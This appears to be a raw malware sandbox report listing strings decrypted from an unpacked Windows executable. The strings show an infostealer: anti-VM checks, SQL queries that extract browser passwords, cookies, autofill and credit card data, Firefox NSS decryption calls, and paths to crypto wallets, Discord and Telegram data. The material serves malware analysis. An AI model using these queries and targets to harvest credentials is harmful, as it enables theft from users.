            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: ExitProcess
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GlobalMemoryStatusEx
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GetSystemTime
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: SystemTimeToFileTime
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: advapi32.dll
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: gdi32.dll
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: user32.dll
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: crypt32.dll
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: ntdll.dll
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GetUserNameA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: CreateDCA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GetDeviceCaps
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: ReleaseDC
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: CryptStringToBinaryA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: sscanf
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: VMwareVMware
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: HAL9TH
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: JohnDoe
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: DISPLAY
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: %hu/%hu/%hu
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GetEnvironmentVariableA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GetFileAttributesA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GlobalLock
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: HeapFree
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GetFileSize
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GlobalSize
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: CreateToolhelp32Snapshot
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: IsWow64Process
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Process32Next
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GetLocalTime
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: FreeLibrary
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GetTimeZoneInformation
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GetSystemPowerStatus
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GetVolumeInformationA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GetWindowsDirectoryA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Process32First
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GetLocaleInfoA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GetUserDefaultLocaleName
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GetModuleFileNameA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: DeleteFileA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: FindNextFileA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: LocalFree
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: FindClose
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: SetEnvironmentVariableA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: LocalAlloc
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GetFileSizeEx
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: ReadFile
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: SetFilePointer
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: WriteFile
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: CreateFileA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: FindFirstFileA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: CopyFileA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: VirtualProtect
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GetLogicalProcessorInformationEx
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GetLastError
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: lstrcpynA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: MultiByteToWideChar
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GlobalFree
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: WideCharToMultiByte
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GlobalAlloc
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: OpenProcess
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: TerminateProcess
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GetCurrentProcessId
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: gdiplus.dll
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: ole32.dll
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: bcrypt.dll
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: wininet.dll
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: shlwapi.dll
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: shell32.dll
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: psapi.dll
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: rstrtmgr.dll
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: CreateCompatibleBitmap
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: SelectObject
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: BitBlt
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: DeleteObject
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: CreateCompatibleDC
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GdipGetImageEncodersSize
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GdipGetImageEncoders
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GdipCreateBitmapFromHBITMAP
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GdiplusStartup
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GdiplusShutdown
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GdipSaveImageToStream
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GdipDisposeImage
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GdipFree
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GetHGlobalFromStream
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: CreateStreamOnHGlobal
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: CoUninitialize
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: CoInitialize
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: CoCreateInstance
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: BCryptGenerateSymmetricKey
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: BCryptCloseAlgorithmProvider
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: BCryptDecrypt
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: BCryptSetProperty
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: BCryptDestroyKey
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: BCryptOpenAlgorithmProvider
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GetWindowRect
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GetDesktopWindow
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GetDC
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: CloseWindow
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: wsprintfA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: EnumDisplayDevicesA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GetKeyboardLayoutList
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: CharToOemW
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: wsprintfW
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: RegQueryValueExA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: RegEnumKeyExA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: RegOpenKeyExA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: RegCloseKey
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: RegEnumValueA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: CryptBinaryToStringA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: CryptUnprotectData
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: SHGetFolderPathA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: ShellExecuteExA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: InternetOpenUrlA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: InternetConnectA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: InternetCloseHandle
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: InternetOpenA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: HttpSendRequestA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: HttpOpenRequestA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: InternetReadFile
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: InternetCrackUrlA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: StrCmpCA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: StrStrA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: StrCmpCW
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: PathMatchSpecA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GetModuleFileNameExA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: RmStartSession
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: RmRegisterResources
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: RmGetList
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: RmEndSession
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: sqlite3_open
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: sqlite3_prepare_v2
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: sqlite3_step
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: sqlite3_column_text
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: sqlite3_finalize
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: sqlite3_close
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: sqlite3_column_bytes
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: sqlite3_column_blob
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: encrypted_key
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: PATH
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: C:\ProgramData\nss3.dll
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: NSS_Init
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: NSS_Shutdown
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: PK11_GetInternalKeySlot
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: PK11_FreeSlot
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: PK11_Authenticate
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: PK11SDR_Decrypt
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: C:\ProgramData\
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: SELECT origin_url, username_value, password_value FROM logins
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Soft:
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: profile:
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Host:
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Login:
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Password:
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Opera
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: OperaGX
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Network
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Cookies
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: .txt
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: TRUE
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: FALSE
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Autofill
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: SELECT name, value FROM autofill
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: History
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: SELECT url FROM urls LIMIT 1000
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Name:
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Month:
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Year:
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Card:
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Cookies
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Login Data
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Web Data
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: History
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: logins.json
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: formSubmitURL
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: usernameField
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: encryptedUsername
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: encryptedPassword
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: guid
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: SELECT fieldname, value FROM moz_formhistory
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: SELECT url FROM moz_places LIMIT 1000
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: cookies.sqlite
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: formhistory.sqlite
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: places.sqlite
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Plugins
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Local Extension Settings
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Sync Extension Settings
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: IndexedDB
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Opera Stable
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Opera GX Stable
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: CURRENT
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: chrome-extension_
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: _0.indexeddb.leveldb
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Local State
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: profiles.ini
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: chrome
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: opera
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: firefox
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Wallets
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: %08lX%04lX%lu
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: ProductName
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: %d/%d/%d %d:%d:%d
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: ProcessorNameString
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: DisplayName
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: DisplayVersion
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: freebl3.dll
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: mozglue.dll
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: msvcp140.dll
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: nss3.dll
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: softokn3.dll
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: vcruntime140.dll
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: \Temp\
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: .exe
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: runas
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: open
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: /c start
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: %DESKTOP%
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: %APPDATA%
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: %LOCALAPPDATA%
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: %USERPROFILE%
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: %DOCUMENTS%
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: %PROGRAMFILES%
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: %PROGRAMFILES_86%
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: %RECENT%
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: *.lnk
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Files
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: \discord\
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: \Local Storage\leveldb\CURRENT
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: \Local Storage\leveldb
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: \Telegram Desktop\
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: key_datas
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: D877F783D5D3EF8C*
